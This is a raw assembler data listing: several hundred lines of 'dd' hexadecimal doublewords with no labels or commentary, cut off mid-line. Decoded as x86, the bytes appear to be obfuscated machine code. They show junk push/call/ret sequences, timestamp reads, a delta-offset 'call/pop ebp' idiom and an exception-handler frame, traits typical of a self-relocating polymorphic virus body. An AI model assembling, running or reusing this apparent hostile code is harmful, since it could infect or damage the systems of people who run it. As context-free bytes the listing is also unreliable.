--------------------------------------------------------------------------- dw 0C5D0h dd 647F5B2Eh, 0E3A4E8C1h, 3BBB858Dh, 6A0628h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0EA3EC8C3h dd 0D5962F76h, 8B3B5BEAh, 6AD0FFCEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 8E13C350h dd 763CB55Ch, 11718D23h, 85890628h, 62C1709h, 13E9h, 0B9D9BD00h dd 0FB057148h, 8BF83FEEh, 0CE04B387h, 0B86EC867h, 0CCBA046Ah dd 0E83ED1C2h, 4, 1000h, 0E7466ABFh, 0BE85069h, 94000000h dd 596C3CABh, 8F9DA378h, 0D38B2090h, 24448B5Fh, 0DE804h dd 260B0000h, 53800E8Dh, 6A8FF74Ah, 0E84F56DEh, 12h, 0B7D6D9D0h dd 4BBF9962h, 0A5CF524h, 0F9B4722h, 0E2B18511h, 8B5959h dd 0FE9h, 71CE2600h, 35D3FAD3h, 21DDF07h, 5DB7071Dh, 4244489h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 94DF88DFh, 6D8D2B92h, 0E8062825h, 4, 10000h dd 0D800Fh, 52500000h, 310FD08Bh, 74C129BFh, 50585A28h dd 424448Bh, 0BA665250h, 310F7EECh, 8B585Ah, 59B5BA66h dd 4244489h, 58FE8B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0EAC35343h, 23AFBF1Dh, 2822C9BDh, 6870F06h dd 89000000h, 28206985h, 57006A06h, 293D8D8Bh, 0FF590628h dd 280F9D95h, 68E0F06h, 89000000h, 282BF595h, 0F5F2B906h dd 858922E8h, 62C16F9h, 88E0Fh, 9560000h, 2825A58Dh, 0E6805A06h dd 0F185C7F9h, 62C16h, 66000000h, 0E815C9BAh, 0Ch, 62828A8Fh dd 0D3353776h, 0E9E589FEh, 89006A5Ah, 280C2985h, 5DCA6806h dd 34814294h, 955DCA24h, 50006A42h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E7F8ABE0h, 68D0F90h dd 60000000h, 4FB15F50h, 0FA8B5061h, 0E1853190h, 6A06281Eh dd 53006A0Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8B3A5103h, 280DE18Dh, 14E906h, 2CD80000h dd 479FE06Dh, 1201288Eh, 42FC67B2h, 0BAFDA66Dh, 8D8980C5h dd 62817A9h, 16C6858Dh, 8509062Ch, 6280F49h, 180D9501h dd 66500628h, 89D5A8B9h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 70EE92C3h, 0BB07BBDh dd 0D195FFF5h, 81062834h, 24CE33E2h, 0D0B58D14h, 0E8062C16h dd 0Eh, 5B5768C3h, 28C75B16h, 0C989770h, 6652C63Eh, 595ACF8Bh dd 0EE850h, 0D9EF0000h, 790CA99Bh, 0D4D6A4ADh, 1821C272h dd 0FE957h, 105E0000h, 0A39068D6h, 0EA5501F5h, 0B50EE8DBh dd 89595A26h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 97E89AC3h, 0FFD95B40h, 0E654BF23h dd 8B901429h, 8B0F50D6h, 9, 3810Fh, 8B660000h, 78BF90D6h dd 0FF12F0A8h, 282C2195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0B30BB0Eh dd 5C850FC0h, 57000000h, 0FE8h, 0C6F1D00h, 0D5E003C7h dd 61D75094h, 7F2DB4FCh, 13E8h, 41976F00h, 0F36C4E08h dd 65676130h, 99F06836h, 91D3D6DDh, 0B5595959h, 67BE970h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 1527E0C3h, 5638E797h, 0FF22B631h, 950960D0h dd 6280BF9h, 117D9589h, 8B610628h, 2C16F9B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0B63BF345h, 6C15FA05h, 468D3CA0h, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 1EC9D18Eh dd 0BE90Eh, 845F0000h, 0B80FCCF4h, 0B418A160h, 6DBD0119h dd 6A062819h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0E57C01EAh, 0DB29D36Eh, 8D8901A1h dd 62823ADh, 0DE9h, 58D2700h, 0DCADA1CFh, 0A330454Ch, 0F900455h dd 280h, 50CA8A00h, 0F90E88Ah, 8E0FD3B7h, 3, 0FFD78B66h dd 2C170995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 2D738D9Dh, 63A5C3D4h, 0C00B0163h dd 2D840Fh, 958B0000h, 628223Dh, 0DE9h, 4FC60B00h, 51BDF6AAh dd 0AFAAEEECh, 3AE97B2Bh, 0E9000005h, 0Bh, 87EB6E8Dh, 18F16353h dd 80456AE4h, 0F00207Eh, 52084h, 0A58D8900h, 60062824h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 50C35141h dd 6A20468Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 1B8FC355h, 89174D81h, 2C16F585h dd 0BE9F506h, 8B000001h, 595340CBh, 0EC8A5090h, 830F5059h dd 10h, 8A0F5250h, 0 dd 0B966310Fh, 585A05EEh, 23046A90h, 282001BDh, 8C0F9006h dd 3, 50FA8B66h, 90D68B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 79C35343h, 4BCF4F11h, 9863EC14h, 6E9h dd 0BD8C3B00h, 0FF1A27FFh, 2C170995h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 4DC6A985h, 897E1B96h, 28338D85h, 6AD88B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 2595C353h, 0EE181D3h, 58279631h, 2985958Bh, 0DB0B0628h dd 40840Fh, 0FE90000h, 12000000h, 0E55827EDh, 84A84972h dd 0CC4470DFh, 0EAE97CFFh, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 51BC352h dd 0DB6D34Dh, 466F976Dh, 3880CB8Ah, 0EE850F00h, 6AFFFFFEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 3E28C352h, 5CAB744Ah, 1CF02560h, 35E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 95DDFEBFh, 0BF06A1C6h, 8003B2DEh, 0F4897D1h, 58Bh, 0CA816600h dd 853BEB25h, 62C16F5h, 48820Fh, 890F0000h, 6, 840Fh, 38800000h dd 33840F5Ch, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 8E8BC351h, 45BC39A4h dd 0F2F3880h, 0FFFFA985h, 38D0FFFh, 80000000h, 0F407FF6h dd 68Dh, 98D8B00h, 83062811h, 2C16FDBDh, 840F0006h, 12Eh dd 0AC18166h, 8C0F1Ch, 90000000h, 0D800Fh, 52500000h, 310F6160h dd 4ECC6BAh, 50585A02h, 8B90FB8Bh, 0FD8503CBh, 0E9062C16h dd 5, 0E6ED2BA9h, 10E890C4h, 55000000h, 8F40CBACh, 3C91721Dh dd 2623E1B2h, 60508015h, 5F615E51h, 7979BA50h, 819051D8h dd 2F1D38EFh, 0E9046A7Dh, 0Ch, 0D9D8D231h, 366322CEh, 0DB8924Eh dd 14558589h, 50900628h, 53F9BA66h, 0BD958B90h, 0FF06280Dh dd 2C170995h, 13E906h, 0B310000h, 8F9C8FD9h, 7A0DC539h dd 3C8B8F9Eh, 0A456A54Ch, 3DBD0901h, 8B062812h, 1D8529D8h dd 2B06282Ch, 280EB1BDh, 0CE95806h, 0D000000h, 0A1ABC724h dd 0B815EEF1h, 0B36FF46h, 24840FDBh, 52000000h, 217E959h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0C62382C3h, 10E90000h, 0E5000000h, 42267693h dd 0C5F9057Fh, 0EB4B44CDh, 582ED4E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0F5C35646h, 12D9BD29h, 8A900628h dd 0BEB250D0h, 68BA6690h, 1E6AF83Eh, 0AEBE6090h, 60657285h dd 61616160h, 0ED0BBF50h, 8A900DA3h, 995FFCCh, 0F062C17h dd 8A60CFBFh, 6800FF7h, 89000000h, 282F01B5h, 0D88B6106h dd 27CF8166h, 0DB0B58ACh, 29840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0EA93D9C3h dd 8B2DBF09h, 4AE90A34h, 50000001h, 89F98B66h, 0BD892404h dd 62810D1h, 16E9B5FFh, 0B589062Ch, 62828D5h, 16ED95FFh dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 7C3DD5C3h, 143A2881h, 1A89E7Dh, 2816D5B5h dd 0FC00B06h, 8085h, 3DBD3100h, 6106281Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4DC35545h, 726C9FBFh dd 94F6C2Ah, 282F8DB5h, 0F9B58906h, 0E906282Ah, 0Ah, 69EBA836h dd 0CE72B1Bh, 85C7BCFFh, 62C16F1h, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 9AC35545h, 0CB1B6DFh, 0B2652B61h dd 0EC1BD89h, 7AE90628h, 0B2000000h, 6A610Dh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 50A014C3h dd 34CDB529h, 0B95F0628h, 7C433695h, 11CC681h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0D26A1BC3h, 5C9BA663h, 1D719D89h, 0E9560628h, 0Dh, 7F9187C9h dd 0AA87FC9Ah, 0C78002FEh, 0EBE95AF7h, 81FFFFF9h, 0A25D69EAh dd 0C3BE6848h, 0E860003Ch, 0Fh, 6310F14Bh, 0DB65AADCh dd 1B399DFDh, 5758B39Bh, 0BF665A5Eh, 81616FD5h, 43BE2434h dd 6A003Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0D6127DC3h, 0AE8h, 0F706A900h, 1D90C27Bh dd 80F5481Dh, 6A5ACBE1h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 9560EC43h, 8975B66Bh dd 282F2185h, 0F9B5FF06h, 8B062C16h, 28181DBDh, 1BD0106h dd 0FF062819h, 280E0195h, 21D68006h, 16F1858Bh, 0EAB1062Ch dd 0EF8A5750h, 24048959h, 1701858Dh, 8D01062Ch, 6282DE9h dd 8913B550h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 850F8FC3h, 6, 273D9501h, 13E80628h dd 0D5000000h, 6B47B232h, 0F93CCB8h, 0C3BC8FF9h, 0F142980Dh dd 0BE8AD49h, 5B000000h, 7B2651B7h, 0C2C98D43h, 81662146h dd 5A8D73D7h, 0BE858D5Ah, 8B062C16h, 2802858Dh, 4895006h dd 68E0F24h, 89000000h, 281939BDh, 0D995FF06h, 6A06281Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 3638C356h, 0C08B34C5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0FDC35747h, 0AB40C783h, 49BD8318h dd 62801h, 0BD830975h, 62814C5h, 50137400h, 0B8C08B53h dd 4D0h, 0A3999D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h dd 50117400h, 4D0B853h, 9D8D0000h, 62AA298h, 585BD3FFh dd 55006AF9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 8620B84Fh, 5FDD983Eh, 52C08B45h, 68A0Fh dd 0BD8B0000h, 6280425h, 44B1585Ah, 8B0008C2h, 282D0995h dd 399D8906h, 8B062827h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 28EC2B22h, 5270B8FFh dd 0D8B0Fh, 7E80000h, 0A5000000h, 5055478Ch, 5A5F2FAEh dd 3558D8Bh, 858D0628h, 62C1718h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 84C35747h, 9DD85601h, 1C7ABF66h dd 0F458589h, 0BE80628h, 2A000000h, 2E301A78h, 838DAD98h dd 9D8BDAD7h, 6282E3Dh, 0EE959h, 0C7B50000h, 0C3B13792h dd 2293870h, 0F1B920B1h, 6608C181h, 0DE90000h, 0F4000000h dd 27222AB0h, 77F34C7h, 426A6B49h, 0C32C45BAh, 16F28147h dd 0FC47C335h, 0D88131FFh, 1E915684h, 0E881665Fh, 0F7812462h dd 49F5E15Fh, 9E7ECB81h, 0C7810076h, 733B49BFh, 8E8h, 0F52EF700h dd 0C0DA3AAEh, 0B1858916h, 5E062834h, 0E7F1EF81h, 850B291Fh dd 6280971h, 8FDAB457h, 9E801h, 6BA0000h, 0B4899F42h, 8BE15118h dd 0E9835BC1h, 6890F04h, 33000000h, 2818F9B5h, 1EA8106h dd 0F000000h, 0FFFF8F85h, 618589FFh, 6006281Dh, 0BD8D8Bh dd 0C08B0628h, 1F9DBD89h, 0BD830628h, 6280149h dd 83097500h, 2814C5BDh, 19740006h, 0C08B5350h, 438B8h dd 91858900h, 8D062802h, 2AA55E9Dh, 5BD3FF06h, 0C5BD8358h dd 62814h, 53501774h, 438B8h, 91858900h, 8D062802h, 2AA24D9Dh dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0CE8B6C9h, 47000000h, 0CBA81656h dd 9CECFFBCh, 0FEE777Ah, 1883h, 12E800h, 0EA1E0000h, 0A302F356h dd 8163E3EFh, 0B0F705C5h, 5959BF37h, 81665F5Fh, 8B7B72C7h dd 0DE8FCC0h, 0E8000008h, 0Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h dd 0AB1DBF66h, 71858959h, 0F062823h, 0C8Dh, 68F0F00h, 89000000h dd 2804F995h, 7DAE806h, 85890000h, 628009Dh, 2E798589h dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 5B2EC5C3h, 0E8F9B70Fh, 7A8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1C35545h, 9E2F4EDDh dd 264AA02Ah, 218589EEh, 6A062813h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 140DC352h dd 182B9E3Eh, 16E7650Eh, 3415BD0Bh, 0BD890628h, 6280EB9h dd 747E8h, 0DB58B00h, 8906281Ah, 28295585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 9D7EDD71h, 6C0B1E3Ch, 0E957523Eh, 14h, 529DACC7h, 0BAD1411Eh dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0F5E85959h, 0F000006h dd 8589F3B7h, 62801BDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0C7C35545h, 59949C46h, 0E10A15D0h, 0CEB70F0Bh dd 6BFE8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0BFD1EC22h, 858915F3h, 6281819h dd 38D0Fh, 8B660000h, 68AE8F8h, 0BE660000h, 858978D5h dd 62826BDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0B9C35343h, 0AEF67D7Ch, 311246B5h, 656E8E7h, 0BF0F0000h dd 0C98589FAh, 6A06282Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0AAE0C355h, 82C72541h dd 0E873FEFDh, 624h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 40C35343h, 8589B1E6h, 62826C9h, 0F9E8FB8Bh dd 6A000005h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0FE37C351h, 0BD8B7205h, 6280289h dd 11158589h, 0E8FC0628h, 5C8h, 8589ABB5h, 6281D45h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3CC35343h, 9A71578Eh dd 59AE83Eh, 0FEBF0000h, 896A770Ch, 2805E185h, 0DE806h dd 0CCD40000h, 0C04852EFh, 0E70F41B4h, 6686C660h, 5FC049BEh dd 0AAE78166h, 56EE8E3h, 890F0000h, 4, 59616051h, 1E858589h dd 0B5890628h, 6282F79h, 13E8h, 5AE2E900h, 0AE8DC6E9h dd 0BB311E82h, 0B787FF5Dh, 18F3D4DDh, 53AE859h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0E335FC3h, 8BFA8B4Eh, 281491BDh, 39858906h, 6A062804h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0EA4BC355h, 0E9E861F1h, 8B000004h, 0A98589F2h dd 6A062822h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0B92AC350h, 2E3646BFh, 90DBD8Bh dd 0B5E80628h, 89000004h, 2821E995h, 59858906h, 6A06282Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0A772C357h, 0E12F17C4h, 0C5DC3476h, 840F00B0h dd 6, 8F0Fh, 0B60F0000h, 352ABED8h, 6BA16A2h, 8B000000h dd 6D8D89FBh, 8B06282Dh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 907665A7h, 2689B589h dd 0E8C10628h, 0E2F76604h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 5BC35646h, 870FCF67h, 2, 2BF9EEB1h, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 3F72CB36h, 8BCDB45Ch, 280121B5h, 0CE8B9306h, 8B665050h dd 6A935FC8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 291AC352h, 77DCFE5Ch, 81668530h dd 0FFBEECC7h, 2803FD95h, 0F28B6606h, 55006A5Bh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 71958D2Dh, 6A06280Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 4EE5C356h, 8C2EDC87h dd 0FE8BC06h, 682h, 99B58B00h, 89062820h, 282D7995h, 6A1A8906h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 8B4C352h, 8D0F0F4Bh, 2, 958984B1h, 6282B5Dh dd 50044289h, 1E198589h, 8B5E0628h, 69958DCFh, 6A062801h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0C8FC357h, 952ED7E7h, 5BCE7009h, 0F58D03h dd 1A890628h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A8C35242h, 7CC86599h, 34C1B58Bh, 42890628h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 5A382B7Eh, 2F818D8Bh, 958D0628h, 6281E21h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 18C35646h, 0DB88AB50h dd 0F35C0CF6h, 3DBD8BA0h, 89062809h, 52006A1Ah, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0F54A1919h dd 661B47A2h, 899DBCB9h, 6A0442h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B65FB8C3h, 958DC331h dd 628149Dh, 2E69B589h, 95890628h, 6281681h, 6A1A89h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0EC553BC3h, 8529B1B2h, 6282915h, 6A044289h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0DFBBC355h, 4EFC1321h, 2FC1958Dh, 6A0628h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 890F97C3h dd 28208D95h, 0F51A8906h, 6A044289h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8103C350h dd 0AF9F38E9h, 0DD958D71h, 8906282Ah, 0D18D891Ah, 66062829h dd 89F3E3BFh, 6A0442h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0A545ABC3h, 15958D75h, 6A062814h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9397C355h, 90456C28h, 0D6560746h, 6E9h, 34D29500h dd 8913D118h, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 288310D1h, 8B917B3Ch, 0CABF0F60h dd 1999B589h, 89610628h, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0C4C038C3h dd 0C781664Eh, 958DE7B6h, 6282E61h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0C1C35545h, 0C868EDDh, 896E154Ch dd 28292D85h, 6A1A8906h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0AC9CC353h, 0A1322A20h dd 442893Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 8CC35040h, 0DB55084Eh, 0F8E3B966h, 0B0E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5E4FBA7Fh, 0C1818853h, 6F2F0729h, 0B70F006Ah, 80006AF1h dd 81663DE1h, 6A72C1D6h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0F1803C5Ch, 6A006AA2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0C8E3C350h, 4995FF1Ah, 89062823h, 282B7585h dd 6AC306h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 69D2E8C3h, 0DD85297Ch, 89062818h, 282BB98Dh dd 66C58A06h, 0C08BF38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 5C35242h, 14E9h, 0F248A400h, 0B50A61DDh dd 303F767Ah, 0AEC827DDh, 92BD1157h, 81666045h, 89C1F9F1h dd 28181DB5h, 0BD836106h, 6280149h, 83097500h, 2814C5BDh dd 19740006h, 0C08B5350h, 438B8h, 55858900h, 8D06282Eh dd 2AA5C59Dh, 5BD3FF06h, 0C5BD8358h, 62814h, 53501774h dd 438B8h, 55858900h, 8D06282Eh, 2AA2669Dh, 5BD3FF06h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 5DA817Eh, 0B5240BD6h, 6AF7B70Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0F9E0C356h, 3C65554Ah, 0C08BEC06h, 2C05858Dh, 0E9900628h dd 8, 368A6B29h, 0D3E0D1E7h, 0FEBF6650h, 8A0F90EEh, 8 dd 799D3353h, 5F062812h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 180B0AC3h, 6687BEEEh dd 944A6BBh, 2817659Dh, 89006A06h, 28047DB5h, 76858D06h dd 0FC062C37h, 8B05C083h, 280C21BDh, 5AB75006h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 1F37C355h, 50F0A907h, 0F57B2933h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 8917CEC3h, 0ED9CB5BCh, 880F1D01h, 6, 46DBD2Bh, 0EE90628h dd 0D4000000h, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 2B006A96h dd 2833999Dh, 3195FF06h, 6A062824h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 599CC351h dd 4599D31h, 8D8D0628h, 62B94F3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0E4C35545h, 5F116971h, 0BFD1FFE9h dd 6A3F68B4h, 2415BD83h, 0F010628h, 6685h, 0C9BB6600h dd 6A026A17h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0C472C353h, 66A965F0h, 8B6D57AAh dd 2826A9BDh, 52505006h, 10E8h, 5CA40300h, 32EDBF6Bh, 0AFC3563Ah dd 7638872Ah, 89DFBB6Dh, 0F5F29E1h, 1E2EBF31h, 585A38B9h dd 89240489h, 28025195h, 0D195FF06h, 0E906282Ch, 0DAAh dd 0E8h, 0ED815D00h, 62C3780h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 17C35747h, 0ACEF0651h, 6AC805h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 858D51C3h, 62B85B0h, 14E9h, 82ED4F00h, 0DC77F89Bh, 9358E5BEh dd 0EB8ABE7Bh, 6B5CA403h, 8B5290BFh, 0F505FDAh, 284h, 90D88A00h dd 0E34FFBBFh, 61BD8B68h, 64062833h, 35FFh, 0B5890000h dd 628102Dh, 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0AEFC352h, 995D45D3h dd 0FFAAE500h, 28165985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89235BF2h dd 280125BDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 9212C356h, 0BD894C54h dd 62800C9h, 2371B5FFh, 870F0628h, 3, 0FFD88B66h, 282DC195h dd 0FBE906h, 9D8B0000h, 628253Dh, 9D0300B0h, 62820B1h dd 8E970E6h, 7C000000h, 0F2F978DFh, 0E4EB3224h, 0F605071h dd 8Ah, 7E900h, 695A0000h, 4D68E934h, 3C5B61F8h, 0BE830F61h dd 0BF000000h, 240A32D8h, 29C8B60Fh, 28115595h, 6BA06h dd 9D8B0000h, 62828F9h, 0E8C1C18Bh, 4870F04h, 60000000h dd 6661EA8Ah, 0BB66E2F7h, 0C82B2E44h, 8BFAD380h, 0E59D8BD1h dd 0F06280Bh, 0AE9FEBFh, 0E9000000h, 5, 0A4EAD44Eh, 71858B65h dd 8B06280Eh, 7C083DEh, 0FF1DDF81h, 95897741h, 6280F6Dh dd 6000C083h, 14719503h, 61F50628h, 830FD03Bh, 11h, 0AFC58060h dd 0E961F08Bh, 39h, 5FEB8166h, 0F98D8BB1h, 81062819h, 0E8C7A5E3h dd 1E18332h, 1F840Fh, 0BD8B0000h, 62832A5h, 24D58D09h dd 0A5830628h, 62819F9h, 9589F5FEh, 6280E71h, 0E9h, 26B58D00h dd 0E9062BBCh, 6, 0DB3E9B78h, 6AE81Ch, 8D9589h, 95FF0628h dd 6280465h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 9CC35141h, 0B9E860E9h, 6CDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 81C35141h, 7C0F19Bh, 204CE9E0h dd 83DE8B8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 126246C3h, 66FE8B95h, 0FC705EBBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h dd 5F77219Bh, 23B59D8Bh, 0B80628h, 0BB000000h, 311B7B5Bh dd 2F6DB509h, 0BA0628h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0ADC4C355h dd 0E8D1C233h, 0E983D003h, 89F47504h, 2824F19Dh, 298D2906h dd 89062825h, 28090995h, 880D06h, 9D890000h, 62819F5h dd 715958Bh, 9D890628h, 62803E1h, 21BD8D8Bh, 8B660628h dd 0C28B50F9h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 5358188Bh dd 1701B589h, 6A5B0628h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0BB7BC356h, 0F88B66AFh dd 25A1BD83h, 0F000628h, 9184h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 29B21461h dd 8589FB64h, 6281EB9h, 0B8h, 0B18D8900h, 8D062832h, 284F6E8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 14926FFh, 2814C9BDh, 6AE1FF06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F040C350h, 0A59D8921h, 0E8062812h, 7, 513FDDB8h, 0B329A97Eh dd 0BD835BA3h, 628113Dh, 19840F00h, 2B000004h, 28008D9Dh dd 3DBD8306h dd 1062811h, 421840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 1833FC3h, 28235D85h dd 3DBD8306h, 3062811h, 3BB860Fh, 